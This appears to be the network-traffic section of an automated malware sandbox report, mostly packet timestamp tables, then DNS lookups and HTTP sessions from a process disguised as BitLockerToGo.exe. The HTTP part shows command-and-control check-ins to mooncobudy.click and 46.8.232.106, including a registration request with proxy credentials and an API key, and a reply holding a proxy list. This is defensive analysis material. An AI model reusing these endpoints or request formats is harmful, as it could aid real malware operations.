Dec 30, 2024 21:42:47.665832996 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.666058064 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.666073084 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.666104078 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.666109085 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.666132927 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.666141033 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.691553116 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.751471996 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.751502991 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.751537085 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.751544952 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.751590014 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.752089977 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.752111912 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.752142906 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.752149105 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.752182007 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.752202034 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.752568960 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.752598047 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.752625942 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.752630949 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.752659082 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.752677917 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.753110886 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.753129959 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.753170967 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.753176928 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.753216982 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.753844023 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.753865004 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.753895998 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.753901005 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.753925085 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.753943920 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.754277945 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.754297018 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.754324913 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.754332066 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.754355907 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.754374027 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.754643917 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.754661083 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.754692078 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.754698038 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.754725933 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.754741907 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.754985094 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.755004883 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.755029917 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.755034924 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.755057096 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.755074978 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.761535883 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.840399027 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.840425014 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.840462923 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.840471983 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.840506077 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.840523958 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.840955973 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.840976000 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.841010094 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.841016054 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.841042042 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.841059923 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.841279984 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.841300011 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.841330051 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.841336012 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.841363907 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.841382980 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.841898918 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.841917992 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.841953039 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.841959953 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.841988087 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.842004061 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.842619896 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.842643023 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.842677116 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.842683077 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.842716932 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.842736006 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.843005896 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.843028069 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.843058109 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.843066931 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.843085051 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.843106031 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.843326092 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.843343019 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.843378067 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.843383074 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.843400002 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.843427896 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.843635082 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.843652964 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.843686104 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.843691111 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.843713045 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.843732119 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.853857040 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.929081917 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.929102898 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.929143906 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.929152012 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.929183960 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.929208040 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.929723978 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.929744005 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.929780006 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.929785967 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.929811001 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.929831028 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.930121899 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.930146933 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.930186987 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.930193901 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.930234909 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.930860043 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.930882931 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.930918932 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.930923939 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.930944920 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.930969000 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.931390047 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.931411028 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.931457996 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.931464911 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.931505919 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.931922913 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.931943893 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.931974888 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.931981087 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.932004929 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.932020903 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.932339907 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.932363033 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.932385921 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.932390928 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.932415962 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.932436943 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.932651997 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.932672024 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.932699919 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.932704926 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:47.932734966 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.932754040 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:47.934308052 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:48.018141985 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:48.018167973 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:48.018201113 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:48.018208027 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:48.018234015 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:48.018254995 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:48.018735886 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:48.018757105 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:48.018789053 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:48.018795967 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:48.018821001 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:48.018835068 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:48.018961906 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:48.018979073 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:48.019032001 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:48.019037962 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:48.019077063 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:48.019752026 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:48.019774914 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:48.019828081 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:48.019834042 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:48.019887924 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:48.020267963 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:48.020287037 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:48.020317078 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:48.020323038 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:48.020347118 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:48.020359993 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:48.020414114 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:48.020749092 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:48.020766973 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:48.020804882 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:48.020809889 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:48.020834923 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:48.020852089 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:48.021111012 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:48.021135092 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:48.021158934 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:48.021168947 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:48.021189928 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:48.021214008 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:48.037724018 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:48.037746906 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:48.037771940 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:48.037777901 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:48.037801027 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:48.037818909 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:48.049649000 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:48.106738091 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:48.106765032 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:48.106806040 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:48.106812954 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:48.106837988 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:48.106858015 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:48.108752966 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:48.108794928 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:48.108810902 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:48.108815908 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:48.108845949 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:48.108875990 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:48.108918905 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:48.139065027 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:48.139079094 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:48.139090061 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:48.139095068 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:43:13.601027012 CET	49848	30001	192.168.2.4	46.8.232.106
Dec 30, 2024 21:43:13.605878115 CET	30001	49848	46.8.232.106	192.168.2.4
Dec 30, 2024 21:43:13.606019974 CET	49848	30001	192.168.2.4	46.8.232.106
Dec 30, 2024 21:43:13.606883049 CET	49848	30001	192.168.2.4	46.8.232.106
Dec 30, 2024 21:43:13.611655951 CET	30001	49848	46.8.232.106	192.168.2.4
Dec 30, 2024 21:43:14.783571959 CET	30001	49848	46.8.232.106	192.168.2.4
Dec 30, 2024 21:43:14.783596992 CET	30001	49848	46.8.232.106	192.168.2.4
Dec 30, 2024 21:43:14.785321951 CET	49848	30001	192.168.2.4	46.8.232.106
Dec 30, 2024 21:43:14.866436958 CET	49854	21428	192.168.2.4	195.200.31.22
Dec 30, 2024 21:43:14.872977018 CET	21428	49854	195.200.31.22	192.168.2.4
Dec 30, 2024 21:43:14.874490023 CET	49854	21428	192.168.2.4	195.200.31.22
Dec 30, 2024 21:43:15.442292929 CET	21428	49854	195.200.31.22	192.168.2.4
Dec 30, 2024 21:43:15.442543983 CET	49854	21428	192.168.2.4	195.200.31.22
Dec 30, 2024 21:43:15.447341919 CET	21428	49854	195.200.31.22	192.168.2.4
Dec 30, 2024 21:43:30.458753109 CET	49854	21428	192.168.2.4	195.200.31.22
Dec 30, 2024 21:43:30.463501930 CET	21428	49854	195.200.31.22	192.168.2.4
Dec 30, 2024 21:43:35.392537117 CET	21428	49854	195.200.31.22	192.168.2.4
Dec 30, 2024 21:43:35.392707109 CET	49854	21428	192.168.2.4	195.200.31.22
Dec 30, 2024 21:43:35.397444010 CET	21428	49854	195.200.31.22	192.168.2.4
Dec 30, 2024 21:43:44.799604893 CET	49848	30001	192.168.2.4	46.8.232.106
Dec 30, 2024 21:43:44.804533005 CET	30001	49848	46.8.232.106	192.168.2.4
Dec 30, 2024 21:43:44.909173965 CET	49854	21428	192.168.2.4	195.200.31.22
Dec 30, 2024 21:43:44.914017916 CET	21428	49854	195.200.31.22	192.168.2.4
Dec 30, 2024 21:43:45.233031034 CET	21428	49854	195.200.31.22	192.168.2.4
Dec 30, 2024 21:43:45.281079054 CET	49854	21428	192.168.2.4	195.200.31.22
Dec 30, 2024 21:43:55.566507101 CET	21428	49854	195.200.31.22	192.168.2.4
Dec 30, 2024 21:43:55.566692114 CET	49854	21428	192.168.2.4	195.200.31.22
Dec 30, 2024 21:43:55.571924925 CET	21428	49854	195.200.31.22	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 30, 2024 21:42:26.205054045 CET	53691	53	192.168.2.4	1.1.1.1
Dec 30, 2024 21:42:26.287503958 CET	53	53691	1.1.1.1	192.168.2.4
Dec 30, 2024 21:42:39.170030117 CET	56605	53	192.168.2.4	1.1.1.1
Dec 30, 2024 21:42:39.205209017 CET	53	56605	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 30, 2024 21:42:26.205054045 CET	192.168.2.4	1.1.1.1	0x5577	Standard query (0)	mooncobudy.click	A (IP address)	IN (0x0001)	false
Dec 30, 2024 21:42:39.170030117 CET	192.168.2.4	1.1.1.1	0x26dc	Standard query (0)	geai.ch	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 30, 2024 21:42:26.287503958 CET	1.1.1.1	192.168.2.4	0x5577	No error (0)	mooncobudy.click	188.114.97.3	A (IP address)	IN (0x0001)	false
Dec 30, 2024 21:42:26.287503958 CET	1.1.1.1	192.168.2.4	0x5577	No error (0)	mooncobudy.click	188.114.96.3	A (IP address)	IN (0x0001)	false
Dec 30, 2024 21:42:39.205209017 CET	1.1.1.1	192.168.2.4	0x26dc	No error (0)	geai.ch	84.32.84.20	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

mooncobudy.click

geai.ch

46.8.232.106:30001

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49848	46.8.232.106	30001	5040	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2024 21:43:13.606883049 CET	298	OUT	GET /api/helper-first-register?buildVersion=0dfF.ore2kBf&md5=a64beab5d4516beca4c40b25dc0c1cd8&proxyPassword=dUZKyymJ&proxyUsername=cACUQSOf&userId=GwhkeMIXedr6k95cAje2l7kZetpIxXXDa1K3 HTTP/1.1 Host: 46.8.232.106:30001 User-Agent: Go-http-client/1.1 X-Api-Key: if61sdD6 Accept-Encoding: gzip
Dec 30, 2024 21:43:14.783571959 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 20:43:14 GMT Content-Length: 1280 Content-Type: text/plain; charset=utf-8 Data Raw: 31 39 35 2e 32 30 30 2e 33 31 2e 32 32 3b 32 31 34 32 38 3b 68 79 7a 59 74 36 74 67 74 47 66 76 70 56 65 65 3a 41 51 73 2f 36 65 45 2f 4a 33 70 34 39 78 65 36 76 44 46 2e 51 46 57 38 63 55 46 2e 64 42 4a 32 38 52 69 33 39 4a 64 32 42 39 51 2e 4d 73 45 31 33 33 50 30 47 4c 63 36 33 53 5a 3a 61 66 5a 33 43 52 78 30 58 4c 54 30 31 62 33 30 4d 6c 55 31 57 59 70 2f 5a 76 69 61 36 59 7a 70 79 61 43 69 38 6d 4e 2f 67 6e 6c 68 42 6d 4d 65 68 36 36 6c 4b 61 52 70 76 73 34 65 33 42 73 72 75 76 45 2d 76 68 6f 66 53 50 73 69 6c 67 33 72 36 37 37 73 64 79 41 74 56 32 30 2d 47 42 32 72 64 33 51 65 35 49 66 67 32 33 64 69 70 58 54 73 53 7a 49 74 66 77 50 65 57 73 66 72 42 49 34 2c 31 37 5a 68 58 6c 59 74 49 71 42 74 4c 6e 6d 70 48 6f 47 3a 54 34 51 2f 66 4d 77 2f 35 49 50 34 66 65 38 36 62 7a 69 2e 46 49 63 38 47 50 7a 2e 77 55 4e 32 55 59 48 33 38 4a 52 36 45 63 44 2e 38 57 71 36 64 72 39 31 68 63 72 3a 4a 30 52 33 69 77 45 30 73 70 7a 30 31 52 35 30 46 50 44 31 54 48 4b 2f 5a 45 49 61 71 7a 32 70 61 52 6d 69 4a [TRUNCATED] Data Ascii: 195.200.31.22;21428;hyzYt6tgtGfvpVee:AQs/6eE/J3p49xe6vDF.QFW8cUF.dBJ28Ri39Jd2B9Q.MsE133P0GLc63SZ:afZ3CRx0XLT01b30MlU1WYp/Zvia6YzpyaCi8mN/gnlhBmMeh66lKaRpvs4e3BsruvE-vhofSPsilg3r677sdyAtV20-GB2rd3Qe5Ifg23dipXTsSzItfwPeWsfrBI4,17ZhXlYtIqBtLnmpHoG:T4Q/fMw/5IP4fe86bzi.FIc8GPz.wUN2UYH38JR6EcD.8Wq6dr91hcr:J0R3iwE0spz01R50FPD1THK/ZEIaqz2paRmiJJi/paVhcYFe5gvlnNyp6NnegxarklR-rsFfViFiv8irQ0LszzrtCov-wr0rQtweXdSgeS9idp8sXIrtsUneg1UrGi2,Qvkh23ztk9Nt4LipeUe:Abc/e6U/44h9Iaa1Sxk.vg82svH1Quo2a3o.oAq1pSm6ZTe6GWJ.2GI9XGf1VHn:VmB34mH07cm0u2P0Gxk1W3I/DBwaEWCpg4Vi4hv/4s1hGqieEGolvAupx7GebtYr5qe-CoGfvTGiRKsrwFKsRPKtKIL-cgSrL1Ee81wgFfkiyw0sKNptSKVe31pr9P3,RV3huLwtYR9tElKpkdZ:XcO/unE/3mW3lpX8k0Q.vfI1ebH84vn0ACn.7vt2qxW0cfg5DZZ.c7O1Ao56G924YxT:yPV3aGZ0AAY0DOL0HwD1ikI/XMGaP48pyoqiSWk/QNihZwXeRrdl6wnpTnXesfprzMe-1GOfppmiAmErqe9sVpKt6xw-E4zrobieuG9gOVPi7YrsS1at4BlesKzrXQW,3nqhtSrtf5qtOJRpIEg:Tw2/2xL/glb9Xtp18Vq.cm62bYK1rJW2h5T.WDC1zRt6dWD68dg.7G89eO6:yGs3khv0yJJ0mrT0jpL1YC8/7zOaw0JpfaeivOi/lF7hx8Sery4lQlApTj0eyWjrs2K-2Qjf6LD [TRUNCATED]

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49736	188.114.97.3	443	7020	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 20:42:27 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: mooncobudy.click
2024-12-30 20:42:27 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-30 20:42:27 UTC	1121	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 20:42:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3egolmej0006j7r4q4up54e1ms; expires=Fri, 25 Apr 2025 14:29:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tHbsmdcUnn6V1gVheXb6HcloToFl5VAEVVA3mqSvqWIE5ToZXJ27b%2FWPRZ3%2Fq9IVxMpJrzJMkIovUUrAX3KGlnWadOQyqXdWIIcFRejBIlgApsKCWgyNMjzAwtQ%2FA0rsbuFv"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa4db3f8d194361-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1645&min_rtt=1640&rtt_var=618&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2840&recv_bytes=907&delivery_rate=1780487&cwnd=221&unsent_bytes=0&cid=6e4a2e144f15dc6f&ts=913&x=0"
2024-12-30 20:42:27 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-30 20:42:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49737	188.114.97.3	443	7020	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

